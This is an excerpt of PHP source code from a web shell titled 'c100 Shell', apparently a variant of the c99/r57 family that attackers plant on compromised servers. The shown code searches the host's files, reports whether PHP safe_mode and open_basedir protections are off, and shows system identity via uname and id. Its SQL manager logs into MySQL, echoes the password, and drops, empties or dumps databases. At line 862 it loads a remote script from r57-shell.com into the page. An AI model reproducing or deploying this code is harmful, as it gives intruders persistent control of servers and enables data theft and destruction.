  688.   echo "<table border=0><tr><td><form name=\"k1r4_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>";
  689.   if ($tbl_struct)
  690.   {
  691.    echo "<td valign=\"top\"><b>Fields:</b><br>";
  692.    foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "» <a href=\"#\" onclick=\"document.k1r4_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
  693.    echo "</td></tr></table>";
  694.   }
  695.  }
  696.  if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
  697. }
  698. }
  699. if (!function_exists("mysql_create_db"))
  700. {
  701. function mysql_create_db($db,$sock="")
  702. {
  703.  $sql = "CREATE DATABASE `".addslashes($db)."`;";
  704.  if ($sock) {return mysql_query($sql,$sock);}
  705.  else {return mysql_query($sql);}
  706. }
  707. }
  708. if (!function_exists("mysql_query_parse"))
  709. {
  710. function mysql_query_parse($query)
  711. {
  712.  $query = trim($query);
  713.  $arr = explode (" ",$query);
  714.  /*array array()
  715.  {
  716.   "METHOD"=>array(output_type),
  717.   "METHOD1"...
  718.   ...
  719.  }
  720.  if output_type == 0, no output,
  721.  if output_type == 1, no output if no error
  722.  if output_type == 2, output without control-buttons
  723.  if output_type == 3, output with control-buttons
  724.  */
  725.  $types = array(
  726.   "SELECT"=>array(3,1),
  727.   "SHOW"=>array(2,1),
  728.   "DELETE"=>array(1),
  729.   "DROP"=>array(1)
  730.  );
  731.  $result = array();
  732.  $op = strtoupper($arr[0]);
  733.  if (is_array($types[$op]))
  734.  {
  735.   $result["propertions"] = $types[$op];
  736.   $result["query"]  = $query;
  737.   if ($types[$op] == 2)
  738.   {
  739.    foreach($arr as $k=>$v)
  740.    {
  741.     if (strtoupper($v) == "LIMIT")
  742.     {
  743.      $result["limit"] = $arr[$k+1];
  744.      $result["limit"] = explode(",",$result["limit"]);
  745.      if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
  746.      unset($arr[$k],$arr[$k+1]);
  747.     }
  748.    }
  749.   }
  750.  }
  751.  else {return FALSE;}
  752. }
  753. }
  754. if (!function_exists("k1r4fsearch"))
  755. {
  756. function k1r4fsearch($d)
  757. {
  758.  global $found;
  759.  global $found_d;
  760.  global $found_f;
  761.  global $search_i_f;
  762.  global $search_i_d;
  763.  global $a;
  764.  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  765.  $h = opendir($d);
  766.  while (($f = readdir($h)) !== FALSE)
  767.  {
  768.   if($f != "." && $f != "..")
  769.   {
  770.    $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
  771.    if (is_dir($d.$f))
  772.    {
  773.     $search_i_d++;
  774.     if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
  775.     if (!is_link($d.$f)) {k1r4fsearch($d.$f);}
  776.    }
  777.    else
  778.    {
  779.     $search_i_f++;
  780.     if ($bool)
  781.     {
  782.      if (!empty($a["text"]))
  783.      {
  784.       $r = @file_get_contents($d.$f);
  785.       if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
  786.       if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
  787.       if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
  788.       else {$bool = strpos(" ".$r,$a["text"],1);}
  789.       if ($a["text_not"]) {$bool = !$bool;}
  790.       if ($bool) {$found[] = $d.$f; $found_f++;}
  791.      }
  792.      else {$found[] = $d.$f; $found_f++;}
  793.     }
  794.    }
  795.   }
  796.  }
  797.  closedir($h);
  798. }
  799. }
  800. if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
  801. //Sending headers
  802. @ob_start();
  803. @ob_implicit_flush(0);
  804. function onphpshutdown()
  805. {
  806.  global $gzipencode,$ft;
  807.  if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))
  808.  {
  809.   $v = @ob_get_contents();
  810.   @ob_end_clean();
  811.   @ob_start("ob_gzHandler");
  812.   echo $v;
  813.   @ob_end_flush();
  814.  }
  815. }
  816. function k1r4exit()
  817. {
  818.  onphpshutdown();
  819.  exit;
  820. }
  821. header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
  822. header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
  823. header("Cache-Control: no-store, no-cache, must-revalidate");
  824. header("Cache-Control: post-check=0, pre-check=0", FALSE);
  825. header("Pragma: no-cache");
  826. if (empty($tmpdir))
  827. {
  828.  $tmpdir = ini_get("upload_tmp_dir");
  829.  if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
  830. }
  831. $tmpdir = realpath($tmpdir);
  832. $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
  833. if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
  834. if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
  835. else {$tmpdir_logs = realpath($tmpdir_logs);}
  836. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
  837. {
  838.  $safemode = TRUE;
  839.  $hsafemode = "<font color=red>ON (secure)</font>";
  840. }
  841. else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (no secure)</font>";}
  842. $v = @ini_get("open_basedir");
  843. if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";}
  844. else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";}
  845. $sort = htmlspecialchars($sort);
  846. if (empty($sort)) {$sort = $sort_default;}
  847. $sort[1] = strtolower($sort[1]);
  848. $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
  849. if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
  850. $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
  851. @ini_set("highlight.bg",$highlight_bg); //FFFFFF
  852. @ini_set("highlight.comment",$highlight_comment); //#FF8000
  853. @ini_set("highlight.default",$highlight_default); //#0000BB
  854. @ini_set("highlight.html",$highlight_html); //#000000
  855. @ini_set("highlight.keyword",$highlight_keyword); //#007700
  856. @ini_set("highlight.string",$highlight_string); //#DD0000
  857. if (!is_array($actbox)) {$actbox = array();}
  858. $dspact = $act = htmlspecialchars($act);
  859. $disp_fullpath = $ls_arr = $notls = null;
  860. $ud = urlencode($d);
  861. ?>
  862. <SCRIPT SRC=http://r57-shell.com/tr/seo.js></SCRIPT>
  863. <html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - c100 Shell</title><STYLE>
  864. TD { FONT-SIZE: 8pt; COLOR: #009900; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #0099CC; FONT-FAMILY: Tahoma; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #000099; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #000099; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #000066; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #000066; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #000066; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #000066; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #000000;}body,td,th { font-family: verdana; color: #CCCCCC; font-size: 11px;}body { background-color: #000000;}
  865. </style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>Shell [ci] . Biz <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php
  866. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  867. if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}
  868. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  869. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  870. $d = str_replace("\\\\","\\",$d);
  871. $dispd = htmlspecialchars($d);
  872. $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
  873. $i = 0;
  874. foreach($pd as $b)
  875. {
  876.  $t = "";
  877.  $j = 0;
  878.  foreach ($e as $r)
  879.  {
  880.   $t.= $r.DIRECTORY_SEPARATOR;
  881.   if ($j == $i) {break;}
  882.   $j++;
  883.  }
  884.  echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";
  885.  $i++;
  886. }
  887. echo "&nbsp;&nbsp;&nbsp;";
  888. if (is_writable($d))
  889. {
  890.  $wd = TRUE;
  891.  $wdt = "<font color=green>[ ok ]</font>";
  892.  echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
  893. }
  894. else
  895. {
  896.  $wd = FALSE;
  897.  $wdt = "<font color=red>[ Read-Only ]</font>";
  898.  echo "<b>".view_perms_color($d)."</b>";
  899. }
  900. if (is_callable("disk_free_space"))
  901. {
  902.  $free = disk_free_space($d);
  903.  $total = disk_total_space($d);
  904.  if ($free === FALSE) {$free = 0;}
  905.  if ($total === FALSE) {$total = 0;}
  906.  if ($free < 0) {$free = 0;}
  907.  if ($total < 0) {$total = 0;}
  908.  $used = $total-$free;
  909.  $free_percent = round(100/($total/$free),2);
  910.  echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>";
  911. }
  912. echo "<br>";
  913. $letters = "";
  914. if ($win)
  915. {
  916.  $v = explode("\\",$d);
  917.  $v = $v[0];
  918.  foreach (range("a","z") as $letter)
  919.  {
  920.   $bool = $isdiskette = in_array($letter,$safemode_diskettes);
  921.   if (!$bool) {$bool = is_dir($letter.":\\");}
  922.   if ($bool)
  923.   {
  924.    $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ ";
  925.    if ($letter.":" != $v) {$letters .= $letter;}
  926.    else {$letters .= "<font color=green>".$letter."</font>";}
  927.    $letters .= " ]</a> ";
  928.   }
  929.  }
  930.  if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";}
  931. }
  932. if (count($quicklaunch) > 0)
  933. {
  934.  foreach($quicklaunch as $item)
  935.  {
  936.   $item[1] = str_replace("%d",urlencode($d),$item[1]);
  937.   $item[1] = str_replace("%sort",$sort,$item[1]);
  938.   $v = realpath($d."..");
  939.   if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
  940.   $item[1] = str_replace("%upd",urlencode($v),$item[1]);
  941.   echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;";
  942.  }
  943. }
  944. echo "</p></td></tr></table><br>";
  945. if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";}
  946. echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
  947. if ($act == "") {$act = $dspact = "ls";}
  948. if ($act == "sql")
  949. {
  950.  $sql_surl = $surl."act=sql";
  951.  if ($sql_login)  {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
  952.  if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
  953.  if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
  954.  if ($sql_port)   {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
  955.  if ($sql_db)     {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
  956.  $sql_surl .= "&";
  957.  ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php
  958.  if ($sql_server)
  959.  {
  960.   $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
  961.   $err = mysql_smarterror();
  962.   @mysql_select_db($sql_db,$sql_sock);
  963.   if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
  964.  }
  965.  else {$sql_sock = FALSE;}
  966.  echo "<b>SQL Manager:</b><br>";
  967.  if (!$sql_sock)
  968.  {
  969.   if (!$sql_server) {echo "NO CONNECTION";}
  970.   else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";}
  971.  }
  972.  else
  973.  {
  974.   $sqlquicklaunch = array();
  975.   $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
  976.   $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
  977.   $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
  978.   $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
  979.   $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
  980.   $sqlquicklaunch[] = array("Logout",$surl."act=sql");
  981.   echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>";
  982.   if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}}
  983.   echo "</center>";
  984.  }
  985.  echo "</td></tr><tr>";
  986.  if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php }
  987.  else
  988.  {
  989.   //Start left panel
  990.   if (!empty($sql_db))
  991.   {
  992.    ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php
  993.    $result = mysql_list_tables($sql_db);
  994.    if (!$result) {echo mysql_smarterror();}
  995.    else
  996.    {
  997.     echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
  998.     $c = 0;
  999.     while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>»&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
  1000.     if (!$c) {echo "No tables found in database.";}
  1001.    }
  1002.   }
  1003.   else
  1004.   {
  1005.    ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php
  1006.    $result = mysql_list_dbs($sql_sock);
  1007.    if (!$result) {echo mysql_smarterror();}
  1008.    else
  1009.    {
  1010.     ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php
  1011.     $c = 0;
  1012.     $dbs = "";
  1013.     while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
  1014.     echo "<option value=\"\">Databases (".$c.")</option>";
  1015.     echo $dbs;
  1016.    }
  1017.    ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php
  1018.   }
  1019.   //End left panel
  1020.   echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">";
  1021.   //Start center panel
  1022.   $diplay = TRUE;
  1023.   if ($sql_db)
  1024.   {
  1025.    if (!is_numeric($c)) {$c = 0;}
  1026.    if ($c == 0) {$c = "no";}
  1027.    echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
  1028.    if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
  1029.    echo "</b></center>";
  1030.    $acts = array("","dump");
  1031.    if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1032.    elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
  1033.    elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
  1034.    elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1035.    elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1036.    elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1037.    elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1038.    elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
  1039.    elseif ($sql_tbl_act == "insert")
  1040.    {
  1041.     if ($sql_tbl_insert_radio == 1)
  1042.     {
  1043.      $keys = "";
  1044.      $akeys = array_keys($sql_tbl_insert);
  1045.      foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
  1046.      if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
  1047.      $values = "";
  1048.      $i = 0;
  1049.      foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
  1050.      if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
  1051.      $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
  1052.      $sql_act = "query";
  1053.      $sql_tbl_act = "browse";
  1054.     }
  1055.     elseif ($sql_tbl_insert_radio == 2)
  1056.     {
  1057.      $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
  1058.      $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
  1059.      $result = mysql_query($sql_query) or print(mysql_smarterror());
  1060.      $result = mysql_fetch_array($result, MYSQL_ASSOC);
  1061.      $sql_act = "query";
  1062.      $sql_tbl_act = "browse";
  1063.     }
  1064.    }
  1065.    if ($sql_act == "query")
  1066.    {
  1067.     echo "<hr size=\"1\" noshade>";
  1068.     if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  1069.     if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  1070.     if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";}
  1071.    }
  1072.    if (in_array($sql_act,$acts))
  1073.    {
  1074.     ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php
  1075.     if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
  1076.     if ($sql_act == "newtbl")
  1077.     {
  1078.      echo "<b>";
  1079.      if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
  1080.     }
  1081.     else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  1082.    }
  1083.    elseif ($sql_act == "dump")
  1084.    {
  1085.     if (empty($submit))
  1086.     {
  1087.      $diplay = FALSE;
  1088.      echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
  1089.      echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
  1090.      $v = join (";",$dmptbls);
